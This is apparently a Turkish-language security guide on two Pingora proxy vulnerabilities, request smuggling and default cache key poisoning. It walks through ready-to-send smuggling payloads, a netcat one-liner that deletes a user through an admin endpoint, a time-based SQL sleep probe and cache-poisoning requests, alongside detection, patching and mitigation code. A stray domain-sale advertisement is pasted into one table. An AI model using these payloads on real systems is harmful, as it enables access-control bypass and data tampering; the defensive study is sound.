🧨 CVE-2026-2835 & 2026-2836 | Pingora Zaafiyet Devamı ⏱️

🧨 CVE-2026-2835 & CVE-2026-2836 – PINGORA'DA KALAN 2 KRİTİK ZAFİYET (2026 GÜNCEL)​

ÖN BİLGİ: Bu rehberde, CVE-2026-2833 (Upgrade Header Passthrough) ile başlayan Pingora zafiyetleri serisinin devamı olan CVE-2026-2835 (HTTP/1.0 & Transfer-Encoding Request Smuggling) ve CVE-2026-2836 (Cache Poisoning) zafiyetlerini detaylıca ele alıyorum. İkisi de kritik seviyede ve birçok sistem hala açık!

Önce CVE-2026-2833 rehberini okumanız önerilir.

⚠️ ETİK UYARI: Bu rehber tamamen eğitim, güvenlik araştırması ve izinli sızma testleri içindir. Anlatılan teknikleri izinsiz sistemlerde kullanmak suçtur. Sadece kendi test ortamında veya yetkili olduğun sistemlerde dene. Tüm sorumluluk kullanıcıya aittir.

---

​

📌 BÖLÜM 1 – GİRİŞ: PINGORA NEDİR VE NEDEN BU ZAFİYETLER ÖNEMLİ?​

Pingora, Cloudflare'in kendi geliştirdiği, Rust ile yazılmış modern bir HTTP proxy framework'üdür. Cloudflare, bu framework'ü kendi CDN altyapısında kullanır. Mart 2026'da Cloudflare'in güvenlik ekibi, Pingora'nın açık kaynak sürümünde üç kritik güvenlik açığı keşfetti ve sorumlu bir şekilde ifşa etti.

CVE-2026-2833'ü (Upgrade Header Passthrough) daha önce detaylandırdık. Şimdi sırada kalan iki zafiyet var:

CVE	İsim	CVSS	Etki
CVE-2026-2835	HTTP/1.0 & Transfer-Encoding Request Smuggling	9.3 CRITICAL	WAF Bypass, Cache Poisoning, Session Hijacking
CVE-2026-2836	Default Cache Key Poisoning	8.4 HIGH	Cross-Tenant Data Leakage, Cache Poisoning

Cloudflare'in kendi CDN'i bu zafiyetlerden etkilenmiyor! Çünkü Cloudflare'in ingress proxy katmanları ek güvenlik kontrolleri içeriyor. Ama Pingora'yı kendi projelerinde kullanan şirketler ve geliştiriciler hala risk altında. Bu zafiyetler özellikle şu durumlarda tehlikeli:

• Pingora'yı reverse proxy veya API gateway olarak kullanıyorsan
• HTTP/1.0 isteklerini kabul eden backend'lerin varsa
• Multi-tenant (çok kiracılı) bir proxy yapılandırması kullanıyorsan
• Pingora'nın alpha cache özelliğini default ayarlarla kullanıyorsan

---

📁 BÖLÜM 2 – CVE-2026-2835: HTTP/1.0 VE TRANSFER-ENCODING REQUEST SMUGGLING​

2.1. Bu Zafiyet Nedir? (Detaylı Teknik Analiz)​

CVE-2026-2835, Pingora'nın HTTP/1.0 isteklerini ve Transfer-Encoding header'larını yanlış ayrıştırmasından (parse) kaynaklanan bir HTTP Request Smuggling zafiyetidir. CWE-444 (Inconsistent Interpretation of HTTP Requests) kategorisinde sınıflandırılmıştır.

Zafiyetin üç temel nedeni var:

🔴 Neden 1: HTTP/1.0 Close-Delimited Body Hatası​

HTTP/1.0 protokolünde, isteğin body'sinin (gövde) ne kadar uzun olduğunu belirtmek için Content-Length header'ı kullanılır. Eğer bu header yoksa, bağlantı kapatılana kadar okumaya devam edilir. Buna "close-delimited" denir.

Pingora'nın hatası: Pingora, HTTP/1.0 isteklerinde close-delimited body'lere izin veriyordu. RFC 9112'ye göre bu, istekler için geçerli bir framing mekanizması değildir (sadece yanıtlar için geçerlidir).

Bu neden tehlikeli? Saldırgan, bir isteğin body'sine ikinci bir istek gizleyebilir. Pingora bu ikinci isteği body'nin bir parçası olarak algılar. Ama backend sunucu, bağlantı kapatılana kadar okumaya devam eder ve ikinci isteği ayrı bir istek olarak işler.

🔴 Neden 2: Çoklu Transfer-Encoding Header Yönetimi Hatası​

HTTP/1.1'de, isteğin body'si Transfer-Encoding: chunked ile parçalara bölünerek gönderilebilir. Bu durumda Content-Length header'ı KULLANILMAZ.

Pingora'nın hatası: Pingora, birden fazla Transfer-Encoding header'ını doğru şekilde işlemiyordu. Ayrıca Transfer-Encoding değeri "chunked" ile tam eşleşmeyen durumları da kabul ediyordu.

Bu neden tehlikeli? Saldırgan, bir isteğe iki farklı Transfer-Encoding header'ı ekleyebilir (örneğin: Transfer-Encoding: chunked ve Transfer-Encoding: identity). Pingora bunlardan birini alır, backend diğerini. Bu uyumsuzluk, smuggling'e yol açar.

🔴 Neden 3: RFC 9112 ile Uyumsuzluk​

RFC 9112, HTTP mesaj uzunluğunun belirlenmesi için katı kurallar koyar:

• İstek gövdeleri asla close-delimited olamaz
• Transfer-Encoding varsa, Content-Length yoksayılır
• Sadece bir Transfer-Encoding header'ı olmalı ve değeri tam olarak "chunked" olmalı

Pingora, bu kuralların hepsini ihlal ediyordu. RFC'ye uygun backend'ler ile uyumsuzluk yaratarak smuggling'e yol açıyordu.

2.2. Request Smuggling Nasıl Çalışır? (TE.TE Saldırısı)​

Transfer-Encoding ile ilgili bu zafiyet, klasik bir TE.TE saldırısı ile istismar edilebilir.

Saldırı mantığı:

1. İstemci, aynı istekte iki farklı Transfer-Encoding header'ı gönderir.
2. Pingora (frontend), bunlardan birini alır (örneğin Transfer-Encoding: gzip, chunked) ve isteği bu header'a göre işler.
3. Backend, diğer Transfer-Encoding header'ını alır ve farklı şekilde yorumlar.
4. Bu uyumsuzluk, smuggling'e yol açar.

Klasik TE.TE PoC Payload:

http
POST /search HTTP/1.1
Host: vulnerable-proxy.com
Transfer-Encoding: chunked
Transfer-Encoding: identity
Content-Length: 49

0

GET /admin/delete?user=admin HTTP/1.1
Host: vulnerable-proxy.com
Content-Length: 10

x=
Bu istekte neler oluyor?

Katman	Ne Görüyor?	Ne Yapıyor?
Pingora (Proxy)	Transfer-Encoding: chunked ve identity var. Belki ilkini alıyor (chunked)	İsteği chunked encoding'e göre ayrıştırıyor. 0 chunk'ını görünce isteğin bittiğini düşünüyor. Body'nin geri kalanını (GET /admin...) yoksayıyor veya backend'e iletiyor
Backend	Transfer-Encoding: identity (veya farklı yorumluyor)	Body'deki GET /admin... kısmını ayrı bir istek olarak algılıyor ve işliyor

Sonuç: Backend'de /admin/delete?user=admin isteği çalışıyor. Pingora'nın WAF/ACL kontrollerini hiç görmüyor!

2.3. HTTP/1.0 Close-Delimited Saldırısı​

Backend HTTP/1.0 isteklerini kabul ediyorsa, bu yöntem de işe yarar.

Saldırı Payload'ı:

http
POST /upgrade HTTP/1.0
Host: vulnerable-proxy.com
Content-Length: 100

GET /admin/delete?user=admin HTTP/1.1
Host: vulnerable-proxy.com
Mekanizma:

• Pingora, Content-Length: 100 görünce 100 byte okur. Ama body'deki ikinci istek Content-Length'i aşmaz (genellikle aşar veya tam sınırda ayarlanır).
• Backend, HTTP/1.0 close-delimited mantığıyla bağlantı kapatılana kadar okumaya devam eder ve ikinci isteği ayrı bir istek olarak işler.

2.4. Bu Zafiyetle Neler Yapılabilir? (Gerçek Etkiler)​

🔥 WAF ve ACL Bypass​

Request smuggling'in en doğrudan sonucu budur. Smuggled istek, doğrudan backend'e gittiği için:

• WAF kuralları (SQL injection, XSS, path traversal engelleri) hiç devreye girmez
• Rate limiting (IP bazlı istek sınırlama) bypass edilir
• Access control list (ACL) kontrolleri atlatılır
• IP whitelist/blacklist mekanizmaları aşılır

💥 Cache Poisoning (Önbellek Zehirleme)​

Smuggling ile cache poisoning birleşince çok yıkıcı olabilir:

• Saldırgan, bir sayfayı zehirleyerek tüm kullanıcıların o sayfayı zararlı içerikle görmesini sağlar
• Bu, XSS veya phishing saldırılarına yol açar

🎭 Session Hijacking ve Cross-User Attacks​

Smuggled istekler, backend tarafından proxy'nin IP'sinden geliyormuş gibi algılanır. Çünkü bağlantı proxy tarafından backend'e açılmıştır. Bu, backend'deki IP tabanlı güvenlik kontrollerini tamamen bypass eder. Ayrıca:

• Connection pool poisoning ile başka kullanıcıların bağlantılarına sızabilirsin
• Başka bir kullanıcının session'ını ele geçirebilirsin
• Yetkisiz işlemleri başka kullanıcıların kimliğiyle yapabilirsin

2.5. Gerçek Dünya Senaryosu – Adım Adım Exploit​

Hedef: Bir e-ticaret sitesinin admin panelinde kullanıcı silme endpoint'i (/admin/users/delete) var. Normalde bu endpoint'e sadece admin IP'lerinden erişilebiliyor ve WAF SQL injection'ları engelliyor.

Adım 1 – Keşif: Hedefin Pingora kullandığını tespit et (curl -I https://hedef.com | grep -i server). HTTP/1.0 destekliyor mu? curl -0 https://hedef.com dene.

Adım 2 – Smuggling Payload'unu Hazırla:

bash
printf "POST /upgrade HTTP/1.1\r\nHost: hedef.com\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: identity\r\nContent-Length: 49\r\n\r\n0\r\n\r\nGET /admin/users/delete?user=victim HTTP/1.1\r\nHost: hedef.com\r\nContent-Length: 10\r\n\r\nx=\r\n" | nc hedef.com 80
Adım 3 – Sonuç: Backend, ikinci isteği işler ve victim kullanıcısını siler. WAF bu isteği hiç görmediği için herhangi bir engelleme olmaz. IP kontrolü de bypass edilir çünkü istek proxy'den geliyormuş gibi görünür.

2.6. Tespit Yöntemleri (Zafiyeti Nasıl Bulursun?)​

📊 Log Analizi (En Güvenilir Yöntem)​

Zafiyetin en belirgin göstergesi, proxy access log'larında olmayan ama backend log'larında görünen isteklerdir.

Kontrol etmek için:

bash
# Proxy log'larını ve backend log'larını karşılaştır
grep "GET /admin" /var/log/pingora/access.log
grep "GET /admin" /var/log/backend/access.log

# Eğer backend'de var ama proxy'de yoksa -> SMUGGLING!

⏱️ Time-Based Tespit​

Smuggled isteğe bir gecikme (sleep) ekleyerek yanıt süresini gözlemleyebilirsin.

bash
# Smuggled istek içinde sleep(5) komutu gönder
printf "POST / HTTP/1.1\r\nHost: hedef.com\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: identity\r\nContent-Length: 60\r\n\r\n0\r\n\r\nGET /search?q=sleep(5)-- HTTP/1.1\r\nHost: hedef.com\r\n\r\n" | nc hedef.com 80
Yanıt 5 saniye gecikirse, zafiyet büyük olasılıkla mevcuttur.

🛠️ Otomatik Tarama Araçları​

Araç	Açıklama	Komut
Burp Suite Professional	Request Smuggling scanner modu var	Burp > Scanner > "Request Smuggling" tickle
Smuggle Probe	Python aracı, özel olarak smuggling tespiti için	python3 smuggle_probe.py -u https://hedef.com
Nuclei	Template-based scanner	nuclei -t http/request-smuggling/ -u https://hedef.com

2.7. Korunma ve Azaltma Yöntemleri​

✅ 1. Pingora'yı v0.8.0 veya Üstüne Güncelle (Zorunlu)​

Cloudflare, bu zafiyeti Pingora v0.8.0 sürümünde düzeltti. Güncelleme yapmak için:

toml
# Cargo.toml
[dependencies]
pingora = "0.8.0"
bash
cargo update
cargo build --release

✅ 2. Geçici Çözüm (Güncelleme Yapamıyorsan)​

Eğer hemen güncelleme yapamıyorsan, Pingora'nın request filter logic'inde aşağıdaki kuralları uygula:

rust
// Request filter logic (pseudocode)
async fn request_filter(session: &mut Session) -> Result<bool> {
// 1. HTTP/1.0 isteklerini reddet
if session.version() != HTTP11 {
session.respond_error(400).await?;
return Ok(true);
}

// 2. Çoklu Transfer-Encoding header'larını reddet
let te_headers = session.headers().get_all("Transfer-Encoding").iter().count();
if te_headers > 1 {
session.respond_error(400).await?;
return Ok(true);
}

// 3. Transfer-Encoding değeri tam olarak "chunked" değilse reddet
if let Some(te) = session.headers().get("Transfer-Encoding") {
if te != "chunked" {
session.respond_error(400).await?;
return Ok(true);
}
}

// 4. Geçersiz Content-Length'ları reddet
if let Some(cl) = session.headers().get("Content-Length") {
if !is_valid_content_length(cl) {
session.respond_error(400).await?;
return Ok(true);
}
}

Ok(false)
}

✅ 3. Downstream Connection Reuse'u Devre Dışı Bırak​

Bağlantıların yeniden kullanımını kapatmak geçici bir çözüm olabilir, ancak performansı ciddi şekilde düşürür.

---

📁 BÖLÜM 3 – CVE-2026-2836: DEFAULT CACHE KEY POISONING​

3.1. Bu Zafiyet Nedir? (Detaylı Teknik Analiz)​

CVE-2026-2836, Pingora'nın HTTP proxy caching özelliğinde (alpha aşamasında) bulunan bir cache poisoning zafiyetidir. CWE-345 (Insufficient Verification of Data Authenticity) kategorisinde sınıflandırılmıştır.

Sorunun özü: Pingora'nın varsayılan (default) cache key implementasyonu, sadece URI path'ini kullanarak cache key üretiyordu. Yani bir cache entry'si hangi host'tan (domain), hangi scheme'den (HTTP/HTTPS) geldiğini hiç dikkate almıyordu.

Cache Key nedir? Cache key, bir HTTP yanıtının önbellekte hangi anahtarla saklanacağını belirler. Örneğin, https://example.com/products/123 için cache key products/123 olabilir. Sonraki aynı isteklerde, bu key ile cache'e bakılır; varsa backend'e gitmeden cache'ten döndürülür.

Pingora'nın hatası: Default implementasyon şöyleydi:

rust
// HATALI: Sadece URI path kullanılıyor
impl CacheKey for DefaultCacheKey {
fn build(&self, session: &Session) -> String {
session.req_header().uri.path().to_string()
// HOST HEADER YOK!
// SCHEME YOK!
}
}
Bu neden tehlikeli? Aynı URI path'ine sahip ama farklı host'lardan gelen istekler aynı cache key'i üretiyor. Örneğin:

İstek	URI Path	Host	Oluşan Cache Key
https://bank.com/transfer	/transfer	bank.com	transfer
Attacker - The Domain Name Attacker.com is Now For Sale. Attacker.com is now for sale, lease or rent. Smart domain names compound conversion rates and this domain name for Attacker marketing is a wise investment. attacker.com	/transfer	attacker.com	transfer

İkisi de AYNI cache key! Saldırgan attacker.com/transfer sayfasını zehirlerse, bank.com/transfer sayfasını ziyaret eden kullanıcılar attacker.com'un cache'lenmiş yanıtını alır!

3.2. Cache Poisoning Nasıl Çalışır? (Adım Adım)​

Saldırı zinciri 4 adımda gerçekleşir:

Adım 1 – Zehirleme İsteği (Poison Request):
Saldırgan, kontrolündeki bir domainden (attacker.com) Pingora proxy'sine bir istek gönderir. İstek, hedef domaindeki (bank.com) bir sayfanın URI path'ini kullanır.

http
GET /transfer HTTP/1.1
Host: attacker.com
X-Malicious: true
Adım 2 – Cache'e Yazma:
Pingora, bu isteği backend'den (attacker.com'un sunucusu) alır ve yanıtı cache'ler. Cache key = /transfer.

Adım 3 – Mağdurun İsteği (Victim Request):
Gerçek bir kullanıcı, bank.com/transfer sayfasını ziyaret etmek ister.

http
GET /transfer HTTP/1.1
Host: bank.com
Adım 4 – Zehirlenmiş Cache'ten Servis Etme:
Pingora, cache key'i hesaplar (/transfer) ve attacker.com için cache'lenmiş yanıtı bulur. Kullanıcıya bu zehirlenmiş yanıtı gönderir. Kullanıcı, banka sitesinde değil, saldırganın hazırladığı zararlı içeriği görür!

3.3. Gerçek Dünya Senaryoları (Bu Zafiyet Neden Yıkıcı?)​

🏢 Senaryo 1: Multi-Tenant Data Leakage (Çok Kiracılı Veri Sızıntısı)​

Birçok SaaS platformu (bulut tabanlı yazılım hizmetleri), farklı müşterileri (tenant'ları) aynı proxy altyapısı üzerinden yönetir. Örneğin, customer1.app.com ve customer2.app.com.

Saldırı: Saldırgan, customer1.app.com/dashboard sayfasını zehirler. customer2.app.com/dashboard'a giden kullanıcılar, customer1'in dashboard'unu görür. Bu, başka bir müşterinin verilerine (e-posta, isim, abonelik bilgileri) erişim anlamına gelir.

🎭 Senaryo 2: XSS ve Phishing ile Hesap Ele Geçirme​

Adım 1: Saldırgan, bank.com/login sayfasını zehirler. Cache'e, sahte bir giriş formu içeren HTML yazar.

Adım 2: Kullanıcı, bank.com/login adresini ziyaret eder. Zehirlenmiş cache'ten sahte giriş sayfası gelir.

Adım 3: Kullanıcı, sahte sayfaya kullanıcı adı ve şifresini girer. Bilgiler saldırgana gider.

💥 Senaryo 3: JavaScript Enjeksiyonu ile Kitlesel Saldırı​

Cache poisoning'e ek olarak, saldırgan cache'lenmiş sayfaya zararlı bir JavaScript enjekte edebilir. Bu JS, tüm kullanıcıların tarayıcısında çalışır ve session cookie'lerini çalabilir, CSRF saldırıları yapabilir veya kullanıcıları başka sitelere yönlendirebilir.

3.4. Tespit Yöntemleri​

📊 Anormal Cache Hit Oranları​

Cache poisoning'in en belirgin göstergesi, beklenmedik cache hit oranlarıdır.

bash
# Pingora'nın cache stats'ini kontrol et
curl http://localhost:8080/cache/stats
Eğer normalde cache hit oranı %10-20 iken aniden %80-90'a çıktıysa, poisoning olabilir.

🔍 Host Header ve Cache Key Eşleşmesi​

Aynı URI path'ine sahip farklı host'lardan gelen isteklerin aynı cache key'ini üretip üretmediğini kontrol et.

bash
# Test 1: attacker.com'dan istek gönder
curl -H "Host: attacker.com" http://proxy.com/transfer

# Test 2: bank.com'dan istek gönder
curl -H "Host: bank.com" http://proxy.com/transfer

# Eğer ikinci istek cache'ten dönerse -> POISONING!

🛠️ Otomatik Cache Poisoning Tarayıcıları​

Araç	Açıklama
Cache Poisoning Detector	Özel Python aracı, farklı host header'ları göndererek cache key collision'larını tespit eder
Nuclei	http/cache-poisoning.yaml template'i ile tarama yapabilir

3.5. Korunma ve Azaltma Yöntemleri​

✅ 1. Pingora'yı v0.8.0 veya Üstüne Güncelle (Zorunlu)​

Pingora v0.8.0, insecure default cache key implementasyonunu tamamen kaldırdı. Artık kullanıcıların kendi cache key callback'lerini yazmaları gerekiyor.

toml
[dependencies]
pingora = "0.8.0"
bash
cargo update
cargo build --release

✅ 2. Custom Cache Key Implementasyonu Yaz​

Eğer caching kullanmak zorundaysan, en azından aşağıdaki faktörleri içeren bir cache key implementasyonu yaz:

rust
// GÜVENLİ: Host header ve scheme dahil
struct SecureCacheKey;

impl CacheKey for SecureCacheKey {
fn build(&self, session: &Session) -> String {
let host = session.req_header().host().unwrap_or("");
let scheme = if session.req_header().uri.scheme_str().unwrap_or("") == "https" { "https" } else { "http" };
let path = session.req_header().uri.path();
format!("{}://{}{}", scheme, host, path)
// Çıktı örneği: "https://bank.com/transfer"
}
}
Bu implementasyon, farklı host'lar ve farklı scheme'ler için farklı cache key'leri üretir. Artık attacker.com/transfer ile bank.com/transfer aynı cache key'ini paylaşmaz.

✅ 3. Caching'i Devre Dışı Bırak​

Eğer caching özelliğini kullanmıyorsan veya hemen güncelleme yapamıyorsan, cache özelliğini tamamen devre dışı bırak. Bu, zafiyeti tamamen ortadan kaldırır (ama performansı düşürebilir).

---

📊 BÖLÜM 4 – KARŞILAŞTIRMALI TABLO: 3 PINGORA ZAFİYETİ​

Özellik	CVE-2026-2833	CVE-2026-2835	CVE-2026-2836
Zafiyet Türü	Upgrade Header Passthrough	HTTP/1.0 & TE Smuggling	Default Cache Key Poisoning
CVSS Skoru	9.3 (Critical)	9.3 (Critical)	8.4 (High)
Etkilenen Versiyonlar	< 0.8.0	< 0.8.0	< 0.8.0
WAF Bypass	✅ Evet	✅ Evet	❌ Hayır (doğrudan)
Cache Poisoning	✅ Evet	✅ Evet	✅ Evet (direkt)
Session Hijacking	✅ Evet	✅ Evet	❌ Hayır
Multi-Tenant Leakage	❌ Hayır	❌ Hayır	✅ Evet
İstismar Zorluğu	Orta	Orta (TE bilgisi gerekir)	Kolay
Patch Sürümü	v0.8.0	v0.8.0	v0.8.0

---

🛡️ BÖLÜM 5 – GENEL KORUNMA KONTROL LİSTESİ​

Eğer bir Pingora kullanıcısıysan, aşağıdaki kontrol listesini mutlaka uygula:

#	Kontrol	Açıklama	Aciliyet
1	Sürüm Kontrolü	cargo tree -p pingora ile versiyonunu kontrol et. 0.8.0'dan düşükse RİSK ALTINDASIN	🔴 YÜKSEK
2	Güncelleme	cargo update ile Pingora'yı 0.8.0 veya üstüne yükselt	🔴 YÜKSEK
3	HTTP/1.0 Kontrolü	Backend'lerin HTTP/1.0 kabul edip etmediğini kontrol et. Kabul ediyorsa ek önlem al	🟠 ORTA
4	Transfer-Encoding Kontrolü	Çoklu TE header'larını engelleyen bir request filter ekle	🟠 ORTA
5	Cache Key Kontrolü	Eğer caching kullanıyorsan, default cache key kullanmadığından emin ol. Custom implementasyon yaz	🟠 ORTA
6	Log Karşılaştırması	Proxy ve backend log'larını karşılaştırarak smuggling tespiti yap	🟡 DÜŞÜK
7	WAF Kuralı Ekle	Upgrade, çoklu Transfer-Encoding, Content-Length anomalilerini engelleyen kurallar ekle	🟠 ORTA

---

🧠 BÖLÜM 6 – SIK SORULAN SORULAR​

S1: Cloudflare CDN kullanıyorum, etkilenir miyim?​

Hayır. Cloudflare'in kendi CDN altyapısı bu zafiyetlerden etkilenmiyor. Çünkü Cloudflare'in ingress proxy katmanları ek güvenlik kontrolleri içeriyor.

S2: Pingora'yı kullanmıyorum, güvende miyim?​

Bu zafiyetler sadece Pingora ile ilgili. Ama request smuggling genel bir HTTP proxy sorunudur. Eğer başka bir proxy (Nginx, HAProxy, Apache Traffic Server) kullanıyorsan, onların da güncel olduğundan emin ol.

S3: Zafiyetlerin patch'lendiği commit'leri nerede bulabilirim?​

• CVE-2026-2835: 7f7166d62fa916b9f11b2eb8f9e3c4999e8b9023, 40c3c1e9a43a86b38adeab8da7a2f6eba68b83ad, 87e2e2fb37edf9be33e3b1d04726293ae6bf2052
• CVE-2026-2836: 257b59ada28ed6cac039f67d0b71f414efa0ab6e

S4: Bu zafiyetler için bir PoC var mı?​

Cloudflare, sorumlu ifşa kapsamında detaylı PoC yayınlamadı. Ama bu rehberdeki örnekler, zafiyetleri anlamak için yeterlidir.

S5: Yama yapmazsam ne olur?​

Sistemin request smuggling ve cache poisoning saldırılarına açık kalır. Saldırganlar WAF'ını bypass edebilir, önbelleğini zehirleyebilir, session'larını çalabilir ve multi-tenant veri sızıntısına neden olabilir.

---

⚠️;​

CVE-2026-2835 ve CVE-2026-2836, Pingora framework'ünde bulunan ciddi güvenlik açıklarıdır. Özellikle request smuggling (CVE-2026-2835) WAF bypass, cache poisoning ve session hijacking gibi kritik etkilere sahiptir. Cache poisoning (CVE-2026-2836) ise multi-tenant ortamlarda veri sızıntısına yol açabilir.

En önemli çözüm: Pingora'yı v0.8